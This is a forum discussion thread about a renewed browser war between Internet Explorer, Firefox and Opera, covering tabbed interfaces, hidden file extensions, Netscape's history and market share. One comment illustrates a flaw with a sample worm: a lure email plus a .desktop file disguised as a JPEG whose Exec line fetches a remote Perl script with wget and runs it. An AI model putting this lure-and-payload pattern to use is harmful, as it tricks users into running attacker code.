Browser Wars 2: Electric Boogaloo 251
Tomas wrote to mention an article up on XYZ Computing discussing what is shaping up to be another round of the Browser Wars. From the article: "To anyone that has been following the Window's browser news lately, it is apparent that the stage is set for another browser war. Last experienced during the nineties, companies are fighting over which program consumers use to view the internet. For the average computer user this is a very good thing as it should drastically improve browser performance in a short period of time."
what do you mean MS doesn't do tabs? (Score:5, Interesting)
From the fine article:
First, Windows products do seem to use TABS.... Right-click on "My Computer" (if you've actually left it named that!), select PROPERTIES. Not only does Microsoft use TABS to manage some of the most important aspects of computers, they've done it poorly! What the....???? When you click on an upper row tab, the upper row of TABS becomes the bottom row?!? Wow! Yes, Microsoft products not only support and/or use TABS, they were the first to make me hate tabbed interfaces.
Fortunately Mozilla and Firefox came along and convinced me tabbed interfaces could be done nicely and ergonomicly. I'm back in the tabbed fold... sigh.
Second, the claim that adding tabbed browsing to IE is less important because the Taskbar can group similar activities, therefor it already is like tabbed browsing may illustrate more than I'm able how Microsoft doesn't get it. The "like apps" Taskbar browsing has been the source of more headaches for me... I've tried using it, found it obtuse and annoying -- that's okay, just my preference and opinion. But, once again, it's been frustrating in a support role because you (rhetorically) end up trouble-shooting for users an interface poorly thought out and confusing to users. I find Microsoft's "easy to use" ideas sometimes baffling.... (how many times have you over the phone tried to walk someone through a WORD problem only to stumble when they can't find the menu option, and it's because Microsoft has unilaterally decided "hiding" little-used features under menu chevrons).
Other than that, back to the main topic, hopefully more energetic competition in the browser world will mean better and higher quality browsers, but if history serves, it will be a minor spurt in advancement until Microsoft has re-landed their stranglehold on that segment of the market.... and I'm guessing that won't take very long.
Re:what do you mean MS doesn't do tabs? (Score:2)
Re:what do you mean MS doesn't do tabs? (Score:5, Insightful)
Re:what do you mean MS doesn't do tabs? (Score:5, Insightful)
Absolutely Microsoft in my opinion has done more damage to the interest of seamless computing with that single "transparency" than maybe all other gaffes combined (probably thought they were creating something seamless!)! I've seen more hacks, more lost files, more corrupt files, and more hijacked files with the hidden extension "feature". Jumping from the 8.3 restriction in DOS (another thing Microsoft could've/should've fixed long ago with their bully pulpit but didn't) into Windows and GUI's and high powered computing rather than expunging extensions as a requirement to "make things work", Microsoft hid them! And so something that is ostensibly necessary in the Microsoft paradigm and probably should be opaque so people can be aware, ask questions, and learn what extensions are, how they're used, and why they exist.... Microsoft opts to make transparent!
You're right on about the filename.jpg.exe hacks.... but equally annoying are the piggybacking superfluous extensions, e.g., mypicture.jpg.JPG. Sheeesh!
Re:what do you mean MS doesn't do tabs? (Score:2)
You sir, are awesome.
Re:what do you mean MS doesn't do tabs? (Score:2)
Re:what do you mean MS doesn't do tabs? (Score:2)
Re:what do you mean MS doesn't do tabs? (Score:5, Informative)
IMO the problem there was the
And don't think you're free of the Windows braindamage in linux/BSD. Freedesktop managed to fuck it again, with the "desktop specification file" (Warning: don't try to discuss this with the freedesktop guys. I already tried). Noticed how nautilus and konqueror hide the extension in
In fact, look at the following valid worm:
I'm called Mary, and I want to know what you think about my new bikini
To see me, save the attached file in your desktop and double click it. Kisses!
attached file: save.to.your.desktop
Name=My Bikini zoomed.jpg
Icon=fakeiconpresentonthesystem.png
Exec=wget http://www.foo.com/evilperlscript [foo.com]; perl evilperlscript
We just need more marketshare to see this work.
Mod parent up! (Score:2, Insightful)
In this sense, having operating systems hide operation details from you is a Very Bad Thing.
Also, it's naïve to think that the pure virtue of Linux and Mac OS X running everything as an unpriviledged user as standard is going to stop virus writers. You don't need to take over a computer completely to screw with it. You can install nice litt
Re:what do you mean MS doesn't do tabs? (Score:2)
Really? Because when I change the Read & Execute permission on the file to Deny, I sure as hell can't execute it.
Re:what do you mean MS doesn't do tabs? (Score:2, Interesting)
Re:what do you mean MS doesn't do tabs? (Score:3, Informative)
Re:what do you mean MS doesn't do tabs? (Score:2, Informative)
Re:what do you mean MS doesn't do tabs? (Score:5, Interesting)
Actually, the reason why IE has 90% of market share is not that Microsoft put it by default in windows. It helped, indeed, but there're proofs that netscape pretty much fucked it up. Basically, Netscape let them win without opposing resistance
Here's an interview [arstechnica.com] from Arstechnica to Scott Collins, a programmer who was working at netscape back in the netscape 4.0 days:
Ars: You mention mistakes made by Microsoft. What do you feel are mistakes that Mozilla has made in the past?
There was a fundamental mistake made by Netscape management, twice, which cost us a release at the most inopportune time. I think we can attribute a great deal of our market share loss to this mistake that was pretty much based completely on lies from one executive, who has since left the company (and left very rich) and who was an impediment to everything that we did. He was an awful person, and it is completely on him that we missed a release. We had a "Netscape 5" that was within weeks of being ready to go, and this person said that we needed to ship something based on Gecko within 6 months instead. Every single engineer in the company told management "No, it will be two years at least before we ship something based on Gecko." Management agreed with the engineers in order to get 5.0 out.a
Three months later they came back and said "We've changed our mind, this other executive has convinced us, except now instead of six months, you need to do it in three months." Well, you can't put 50 pounds of [crap] in a ten pound bag, it took two years. And we didn't get out a 5.0, and that cost of us everything, it was the biggest mistake ever, and I put it all on the feet of this one individual, whom I will not name.
Re:what do you mean MS doesn't do tabs? (Score:2, Insightful)
Do you think before you post? If the default behaviour was for the upper row to stay the upper row when clicked, it would cover up the bottom row of tabs.
Re:what do you mean MS doesn't do tabs? (Score:2)
Tabs schmabs (Score:2)
And yes, I use Firefox as my primary browser now - not Opera - but for other reasons than this. No other browser yet has gotten that part of the interface as usable as Opera had several years ago. And I really think conceiving of it as 'tabs' has something to do with it.
I don't want tabs, I want a decent MDI interface for my browser.
Re:what do you mean MS doesn't do tabs? (Score:2)
Browser tabs are inconsistent with Windows tabs (Score:3, Insightful)
I like the Mozilla/Firefox tabs, and so far I prefer them over anything else I've seen late
Re:what do you mean MS doesn't do tabs? (Score:2)
Re:what do you mean MS doesn't do tabs? (Score:2)
This makes sense if you think of tabs like tabs in a binder or rolodex. When you flip to a tab in a rolodex, that tab does indeed occupy the bottom row, and all other tabs occupy the top row.
The problem you're pointing out is simply a problem with the desktop paradigm. I always preferred the Amiga's "workbench" paradigm. It made a lot more sense. I agree that things need to move on. A GUI should not pretend to be a desk
Performance schmerformance, I want security (Score:3, Interesting)
I don't care if browsers compete with performance. I don't even much care if they compete with functionality.
I just want security.
Well, OK, I also want standards compliance which maybe counts as functionality. But no crazy "innovative" feature that they believe will woo the public.
Most people don't. (Score:5, Insightful)
Re:Most people don't. (Score:2)
Look at it this way: If MS puts real tabbed browsing in IE, the majority of users will become familiar with it. Then, when they hear that Firefox, Opera, and ??? also have this feature (which they now know what it is) AND are more secure against identity theft and other evils, they are more likely to take notice and investigate.
The smartest move Mozilla could make with Firefox is to make the default skin look and feel like IE. Then the cluel
Re:Most people don't. (Score:2)
Re:Performance schmerformance, I want security (Score:3, Insightful)
You'll need unambiguous standards before that happens. Even today, no two browsers are alike.
Browsers Wars... (Score:2)
BROWSER WARS (Score:5, Funny)
Re:BROWSER WARS (Score:2, Insightful)
(The article was pretty lame, too.)
Re:BROWSER WARS (Score:2)
2. I'm not responsible for what other people say about Microsoft.
Re:Browsers Wars... (Score:2)
Firefox vs IE (Score:3, Insightful)
At best, IE 7 will work only on certain versions of Windows.
Re:Firefox vs IE (Score:2)
Gee, then I guess the Mozilla group will have to keep innovating. Boy, that'd sure suck for the rest of us.
Re:Firefox vs IE (Score:3, Insightful)
extensions (Score:3, Interesting)
test (Score:2)
this is a test.
Re:extensions (Score:2, Interesting)
Why would IE support XPI extensions? To support all of them, they'd probably have to re-write IE in XUL, and to accurately support all existing Fx XPI's unmodified, they'd have make it the exact same as Firefox. Does Mozilla support IE's Browser "Helper" Objects? Of course not.
But I do agree that I will never use or recommend IE until its CSS compliance improves.
P.S. - The links to russkey and leetkey are are broken (for those who need help viewing them: remove "slashdot.org/" from them and they will work
Re:extensions (Score:2)
It would also mean that you expect Firefox to support the IE Google toolbar, in a binary compatible manner (on Windows), and every other, let's say, less reputable BHO (Browser Helper Object, the main IE method of extension of the UI itself). Gator may ring some bells for you.
My own favorite per
BROWSER WARS IV - A New Hope (Score:3, Funny)
Mozilla spaceships, striking
from a hidden base, have won
their first victory against
the evil Microsoft Empire.
During the battle, Mozilla
spies managed to steal secret
plans to the Empire's
ultimate weapon, INTERNET
EXPLORER 7, an armored web
browser with enough power to
destroy an entire website.
Pursued by the Empire's
sinister agents, Firefox users
race home aboard their
browser, custodian of the
web standards that can save
their people and restore
freedom to the web....
You have a typo. (Score:2)
There's a typo but I'll fix it:
During the battle, Mozilla
spies managed to steal secret
plans to the Empire's
ultimate weapon, INTERNET
EXPLORER 7, an armored web
browser with enough power to
destroy an entire Windows Operating
System.
Performance? (Score:5, Insightful)
We all know that IE's standards compliance leaves a lot to be desired, but the Mozilla crew's product leaves a number of things to be desired, too. The Acid2 test may be one example, but there's also other things like MNG support and CSS-generated content where Gecko is still lacking, so hopefully, the people in charge will realize that if they want to replace IE as the standard browser, they shouldn't repeat the same mistakes of not caring about the finer details of the standards.
Re:Performance? (Score:2, Informative)
Just a pet peeve of mine, I guess. Anyone else?
Whose standard compliance? (Score:2)
The real problem with other browsers is that it's extremely difficult to emulate IE's behavior, and not w3c conformance.
Re:Whose standard compliance? (Score:2)
Yes, and the reasoning was that old versions of Nutscrape were extremely permissive, and most of the world's sites were built specifically for Nutscrape (which had 90% marketshare). So MS was deliberately backward compatible with a lot of cruddy web pages.
Even before then, "Permissiveness" was touted as the killer feature of HTML -- the syntax rules we
Re:Performance? (Score:2)
What about Opera? (Score:5, Interesting)
a better idea for tabbed browsing (Score:2, Funny)
The browser should let you access all the paid sites you want, and put all the charges on a tab. This can then be paid off at the end of the month. I'd switch to running IE under Wine (is that even possible?) if M$ brought this feature out.
SUPPORT TABBED BROWSING!!
I was totally ignorant (Score:4, Funny)
Everyone of these damned articles is the same (Score:4, Insightful)
You really expect people who don't even know how computers work to go out of their way to get a new browser when they have no clue why they would need it? Not only did IE come standard on all the Windows OSes, it also came on OS 9. If Firefox or some other alternative browser can standard, and people had to download IE in order to use it, that browser would have 90%+ market share.
Until Firefox starts coming on computers instead of/in addition to IE, there's no way it's going to have 90%+ market share.
Re:Everyone of these damned articles is the same (Score:2)
For the record, Mac OS 9 included both IE and Netscape Communicator.
Same old thread, rehashed (Score:3, Insightful)
This reads like we are beating the same old dead horse over and over again.
No, the problem is this... (Score:5, Insightful)
I "view the internet" using ssh. Sometimes FTP. Maybe SCP. I do like to view the internet using POP3, too.
The more WE, as people in-the-know, screw up the terminology, the more the sheeple will too. How about we give them the impression that the "interweb" has more than just "that dot com thing"? Maybe, just maaaaaaaybe, if they understand that the INTERNET is a bunch of computers connected together that can talk to each other (and say MANY different things) then they'll also better understand security concerns, patching, etc. Isn't security one of the big factors of the "browser war"?
Re:No, the problem is this... (Score:3, Insightful)
Re:No, the problem is this... (Score:2)
Re:No, the problem is this... (Score:2)
You cant win
Though i do advise the reintroduction of corpral punishment for the use of the terms fanboi , zelout , and sheeple
Browser wars spilling into mail (Score:2)
I "view the internet" using ssh. Sometimes FTP. Maybe SCP. I do like to view the internet using POP3, too.
People who use Firefox for HTTP are more likely to use T-bird for POP3. And once more FTP related RFEs are implemented in Firefox and/or Seamonkey, users of Firefox will be more likely to use Firefox than IE when connecting to FTP sites.
Re:Browser wars spilling into mail (Score:2, Interesting)
I wish Firefox didn't get associated with the FTP protocol in Windows. When it asks me "Do you want Firefox to be your default browser?" I say "Yes," but I only mean "I want to use Firefox as my default http client."
It's a great web browser. It sucks for FTP.
When I type an FTP URL into the "Run" dialog, I'd rather have a proper FTP browser (like WinSCP, or yes, even Explorer!) than Firefox. I found the registry keys that change this, and have some .reg files that I keep around to change my settings,
It's funny (Score:5, Insightful)
Wouldn't it be nice if competition between multiple partners were the rule, rather than an exception so bizarre that when it occurs we widely describe it by a word normally associated with mass death and destruction?
Kind of a small thing, but y'know, just a thought...
Re:It's funny (Score:2)
Look at the amount of people with iPods thinking they MUST have one, when any cheaper MP3 player would be just as effective.
Re:It's funny (Score:2)
You're noticing the primacy of the discourse of Capitalism. The apotheosis of US Capitalism is based on a race for domination, if not monopoly, where 2nd place - while not necessarily a poor investment - is indeed considered by critics and the press as first loser.
Re:It's funny (Score:2)
Doubt It (Score:2, Insightful)
Bah. It's been how long since the first browser war? And IE is still a heaping pile of crap. And, what's worse, M$ doesn't seem to want to fix what they already have on the market. "Oh, we'll fix it with Longhorn." Yeah, so you'll have to spend more money on a whole new OS, just to fix these bugs that have been arond since at least version 5.
Granted, all browsers have their flaws. But at least most of these browsers have people wo
Article is a click troll (Score:5, Informative)
Dumb article, too.
The next big play in the "browser wars" should be more aggressive ad blocking.
Re:Article is a click troll (Score:2)
Oh right, some people don't use adblock yet
Re:Article is a click troll (Score:2)
If within 30 seconds I find a comment which says "boring", "stupid", "markedroid" or "obvious" I don't bother clicking anything.
Besides, most articles are so scarce on insight and information you will learn more from Slashdot discussion browsing at +4.
Re:Article is a click troll (Score:3, Informative)
Platypus! [mozdev.org] Right click, Platypus!, hover cursor, press Del, ...
Dumb article, too.
Erm...Platypus can't help that.
Re:Article is a click troll (Score:2)
when the free content is spread paragraph-by-paragraph across ad-filled pages it becomes an issue of greed. personally, i dont have a problem with greedy business models breaking.
Anyone else (Score:2)
If you're going to write a pro-IE article don't show it off like it's a "browser war" article.
Re:Anyone else (Score:2)
During normal surfing the browser will use IE's engine (due to its maximum compatibility) but it will switch to Firefox when visiting a shady site.
It almost sounds like you're a bad person if you visit a site that causes Netscape 8 to switch to Gecko.
But my favorite
Stock market (Score:3, Funny)
Safari 2 (Score:2)
There will never be another browser war on windows (Score:5, Insightful)
This is what caused the almost immediate switch from Netscape to Internet Explorer. It had nothing to do with the features of either browser. As long as these three things are true, IE will NEVER go below 80% of the web browser market.
Re:There will never be another browser war on wind (Score:2)
What about all those people buying macs? I've bought my last three computers with Linux preinstalled. They sell them at Fry's and they're prominently advertised in the ads Fry's runs in the local newspaper.
I think a more accurate statement would be that for people who don't care enough to look at the other options, Windows is the default choice.
As long as these three things are true, IE will NEV
Re:There will never be another browser war on wind (Score:2)
Yeah, they arent impossible to find if you go looking for them. However, recently I looked around for a laptop online. I went to several large sites and manufacturer's websites. Dell, HP, IBM. I keep hearing about these people selling Linux computers, but they're very hard to find, especially laptop
Re:There will never be another browser war on wind (Score:3, Interesting)
A few weeks ago a neighbor of mine called me up saying she was having all sorts of trouble whenever she accessed the Internet. I went over there, saying I could give her a few minutes. Her computer was riddled with spyware. IE had four different spyware related "search bars" running at the top (which is a record in my experience).
Rather then spend hours cleaning things up, I just downloaded firefox and installed some of the more popular plugins (flash etc.) and delete
Re:There will never be another browser war on wind (Score:2)
That is seemingly the direct reaction of a single program being used by the masses. In this sense, I think everyone could benefit from more variety. But it probably wont happen with a program as complex as today's browsers.
Maybe its required that we use something different from the masses of people in order to have a pleasant browsing experience?
Re:There will never be another browser war on wind (Score:2)
All too true. Just look at operating systems. Part of the reason so much junk like spy ware and viruses is written for Windows is because so many people use it.
Maybe its required that we use something different from the masses of people in order to have a pleasant browsing experienc
Re:There will never be another browser war on wind (Score:2)
What does that say for Microsoft? They only get around to actively developing features in their most commonly used programs when the people form together and make a better alternative with the features they want? Do they just not care as long as they have the market share?
Even Microsoft realizes its amazing they've managed to get the less than 10% market share on such an
Re:There will never be another browser war on wind (Score:2)
Welcome to American Business History for the last 100 years. One only needs to look at the behavior of our automotive industry when the big three were in collusion absent any foreign competitors to see that generally speaking, American industry does not innovate unless a better product threatens their dominance.
Why should either side care? (Score:3, Interesting)
In Browser Wars I, Netscape leveraged its popular browser to gain members for its portal service, which was supposed to be the profit center. It also sold an enhanced version of the browser (or was it actually enhanced, or just licensed for corporate use? I can't remember. I never paid for it.)
Microsoft, similarly, leveraged the popularity of its browser to gain subscribers for MSN portal / ISP.
This doesn't seem to be such an important goal anymore. (Portals are *so* 1995.) So they'd be going to "war" to provide a product that hasn't proved to be particularly profitable. What's the point?
Re:Why should either side care? (Score:2)
A portable application platform is a Windows killer. Microsoft does not like Windows killers, so it wants to make sure it controls what browser people use, to disallow it to become a portable application platform.
That's one theory anyhow.
Browser war may lead 2 instability/incompatibility (Score:4, Insightful)
zerg (Score:2)
click [mff.cuni.cz]
Ugh (Score:2)
You know, just like IE is now, except more.
Will lack of IE7 on Win2k help or hurt? (Score:3, Interesting)
Will the hurt (more Firefox on older machines) or help (IE7 only available on more secure platforms)?
Browser performance? (Score:4, Funny)
I hope so. I only get 12 FPS with my current browser and that's not good enough.
Bad News (Score:2)
My memories of the browser wars are not that positive. In fact, it was an awful mess from my standpoint. I had an Amiga at the time, and the browsers we had available for it (iBrowse, Voyager, etc.) were always behind the curve, struggling to catch up with IE and Netscape.
It was *common* to be unable to render many pages, or shop online at many stores, with any kind of
Re:stop the boogaloo madness! (Score:3, Funny)
Re:stop the boogaloo madness! (Score:3, Insightful)
The joke is supposed to be making fun of Breakin' 2: Electric Boogaloo but it stopped being funny sometime around 2002.
First of all, it really was only all that funny the first time it was done, when the creators of Mystery Science Theater used it as part of the name for their second (and last, as it turned out) annual fan convention.
Secondly, pretty much nobody actually remembers the movie Breakin' anyway, let alone the sequel which pretty much nobody went to. Adding "2:
Is that your final answer? (Score:2)
Re:The End of IE (Score:3, Insightful)
Re:The End of IE (Score:3, Insightful)
That may be true, but you're overlooking another small point. The reason IE won had nothing to do with it being better. Simply putting it on the desktop of every windows computer, and therefore every computer you buy from any major manufacturer, is what made it win. As long as this is true, there will never be another war. Even if IE had a timer to cras
Re:The End of IE (Score:3, Insightful)
Explain that one.
You're probably part of the other 20% that would actually change browsers if you liked one better.
But also I'd like to make this point. When was the first time you heard of, saw, or used IE? The first time I ever used it was when I got a new computer with Windows 95 and I used it to download Netscape. How else was I go
Re:The End of IE (Score:2)
Re:The End of IE (Score:2)
Regarding Netscapes strategy I think Mozilla have been down a very similar road (going to rule the world etc) Firefox is simpler but from painful experience rather than design.
Free ?? If you meant as in beer so was netscape and so is just about every other browser these days. If you meant speech, heres a newsflash Joe Sixpack doesnt give a rats ass.
Rapid rate o
Re:The End of IE (Score:2)
There are many good reasons to hate the other side (Score:2)
You mean kind of like the technical arguments experienced Unix bods have?
e.g.
"Emacs for example is the Unix equivalent of MS Office, a bloated slow dificult to use puddle of drool (what else do you expect with lisp). VI on the other hand is a svelte powerful elegant and universal text editor."
Re:I think I saw a big E (Score:2)
Re:I think I saw a big E (Score:2)
I was joking. Was I joking?
Re:My take on the browser wars (Score:2)
Somebody get one for Asa and Ben. :)